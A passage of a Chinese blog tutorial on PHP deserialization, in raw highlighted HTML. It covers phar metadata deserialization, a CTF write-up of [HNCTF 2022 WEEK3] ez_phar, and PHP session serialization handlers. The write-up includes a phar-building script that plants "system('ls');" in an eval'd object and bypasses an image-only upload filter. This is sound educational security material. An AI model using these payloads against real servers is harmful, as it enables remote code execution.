style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">test</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// 结束缓冲区：将内存中的操作刷到磁盘，自动计算phar文件的签名（完成创建）</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">phar</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">stopBuffering</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// 4. 读取并编码phar文件内容</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// 读取生成的exp1.phar文件的二进制内容</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">content</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> file_get_contents</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">exp1.phar</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// 先base64编码（处理二进制内容），再urlencode（避免传输时乱码），最后换行</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> urlencode</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">base64_encode</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">content</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> .</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>注意：要将php.ini中的phar.readonly选项设置为Off，否则无法生成phar文件</p>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/phar.png\" class=\"\" title=\"phar\"></p>\n<p>php一大部分的文件系统函数在通过<code>phar://</code>伪协议解析phar文件时，都会将meta-data进行反序列化</p>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/phar%E5%BD%B1%E5%93%8D.png\" class=\"\" title=\"phar影响\"></p>\n<h3 id=\"hnctf-2022-week3ez_phar\"><a class=\"anchor\" href=\"#hnctf-2022-week3ez_phar\">#</a> [HNCTF 2022 WEEK3]ez_phar</h3>\n<p>这道例题直接进去给了我们这些信息：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">show_source</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> Flag</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">code</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __destruct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    // TODO: Implement __destruct() method.</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        eval</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">code</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">filename</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">filename</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">file_exists</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">filename</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p>还提示我们要upload something</p>\n<p>dirsearch扫一下就可以知道这里存在一个upload.php，并且上传的文件保存在/upload下</p>\n<p>利用phar文件生成的php代码，我们实例化一个Flag类之后将code赋值为system('ls');</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">error_reporting</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> Flag</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">code</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    @</span><span style=\"color:#998418;--shiki-dark:#B8A965\">unlink</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">phar.phar</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">phar</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> Phar</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">phar.phar</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"> //后缀名必须为phar</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">phar</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">startBuffering</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">phar</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">setStub</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;?php __HALT_COMPILER(); ?></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"> //设置stub</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">o</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> Flag</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">o</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> -</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">code</span><span style=\"color:#999999;--shiki-dark:#666666\">  =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">system('ls');</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">phar</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">setMetadata</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">o</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"> //将自定义的meta-data存入manifest</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">phar</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">addFromString</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">test.txt</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">test</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"> //添加要压缩的文件</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    //签名自动计算</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">phar</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">stopBuffering</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>我们尝试上传这一个.phar文件，不过给了我们这样一个警告：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>only jpg png jpeg</span></span></code></pre>\n<p>不过这也无伤大雅，我们可以把phar文件的后缀名修改为png，由于phar协议的特性让上传的.png文件也可以被解压缩，（详细看本博客上一篇SSRF各种协议）</p>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/ls.png\" class=\"\" title=\"ls\"></p>\n<p>修改phar文件内容，ls /能看到ffflllaaaggg</p>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/ez.png\" class=\"\" title=\"ez\"></p>\n<h2 id=\"session反序列化\"><a class=\"anchor\" href=\"#session反序列化\">#</a> session反序列化</h2>\n<p>内容来自：<a href=\"https://www.freebuf.com/articles/web/324519.html\">https://www.freebuf.com/articles/web/324519.html</a></p>\n<p>在学习session反序列化之前我们先来了解一些处理器和配置项：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>session.save_path=\"/tmp\"      --设置session文件的存储位置</span></span>\n<span class=\"line\"><span>session.save_handler=files    --设定用户自定义存储函数，如果想使用PHP内置session存储机制之外的可以使用这个函数</span></span>\n<span class=\"line\"><span>session.auto_start= 0          --指定会话模块是否在请求开始时启动一个会话，默认值为 0，不启动</span></span>\n<span class=\"line\"><span>session.serialize_handler= php --定义用来序列化/反序列化的处理器名字，默认使用php  </span></span>\n<span class=\"line\"><span>session.upload_progress.enabled= On --启用上传进度跟踪，并填充$ _SESSION变量，默认启用</span></span>\n<span class=\"line\"><span>session.upload_progress.cleanup= oN --读取所有POST数据（即完成上传）后立即清理进度信息，默认启用</span></span></code></pre>\n<h3 id=\"php-session序列化机制\"><a class=\"anchor\" href=\"#php-session序列化机制\">#</a> PHP session序列化机制</h3>\n<p>根据<code>php.ini</code>中的配置项，我们研究将<code>$_SESSION</code>中保存的所有数据序列化存储到<code>PHPSESSID</code>对应的文件中，使用的三种不同的处理格式，即<code>session.serialize_handler</code>定义的三种引擎：</p>\n<table>\n<thead>\n<tr>\n<th style=\"text-align:center\">处理器</th>\n<th style=\"text-align:center\">对应的存储格式</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td style=\"text-align:center\">php</td>\n<td style=\"text-align:center\">键名 ＋ 竖线 ＋ 经过 serialize() 函数反序列处理的值</td>\n</tr>\n<tr>\n<td style=\"text-align:center\">php_binary</td>\n<td style=\"text-align:center\">键名的长度对应的 ASCII 字符 ＋ 键名 ＋ 经过 serialize() 函数反序列处理的值</td>\n</tr>\n<tr>\n<td style=\"text-align:center\">php_serialize (php&gt;=5.5.4)</td>\n<td style=\"text-align:center\">经过 serialize() 函数反序列处理的数组</td>\n</tr>\n</tbody>\n</table>\n<h3 id=\"php处理器\"><a class=\"anchor\" href=\"#php处理器\">#</a> php处理器</h3>\n<p>1.首先来看看默认<code>session.serialize_handler = php</code>时候的序列化结果</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">session_start</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_SESSION</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_SESSION</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/%E9%BB%98%E8%AE%A4.png\" class=\"\" title=\"默认\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>flag|s:14:\"ZLARYY&#123;2l47yY&#125;\"</span></span></code></pre>\n<p>可见默认下存储格式为键名+|加上序列化字符串</p>\n<p>在看大佬文章的时候我就想试试如果键名为空会发生什么：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">session_start</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_SESSION</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">FLAG</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">var_dump</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_SESSION</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>的确能输出：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>string(14) \"ZLARYY&#123;2l47yY&#125;\"</span></span></code></pre>\n<p>但是session文件是空的</p>\n<p><strong>2.php_serialize处理器：</strong></p>\n<p>即<code>session.serialize_handler = php_serialize</code></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">ini_set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">session.serialize_handler</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">php_serialize</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">session_start</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_SESSION</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag1</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag1</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_SESSION</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag1</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/serialize.png\" class=\"\" title=\"serialize\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>a:1:&#123;s:5:\"flag1\";s:14:\"ZLARYY&#123;2l47yY&#125;\";&#125;</span></span></code></pre>\n<p>文件内容即经过 serialize() 函数反序列处理的数组</p>\n<p><strong>3.php_binary处理器：</strong></p>\n<p>即<code>session.serialize_handler = php_binary</code></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">ini_set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">session.serialize_handler</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">php_binary</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span 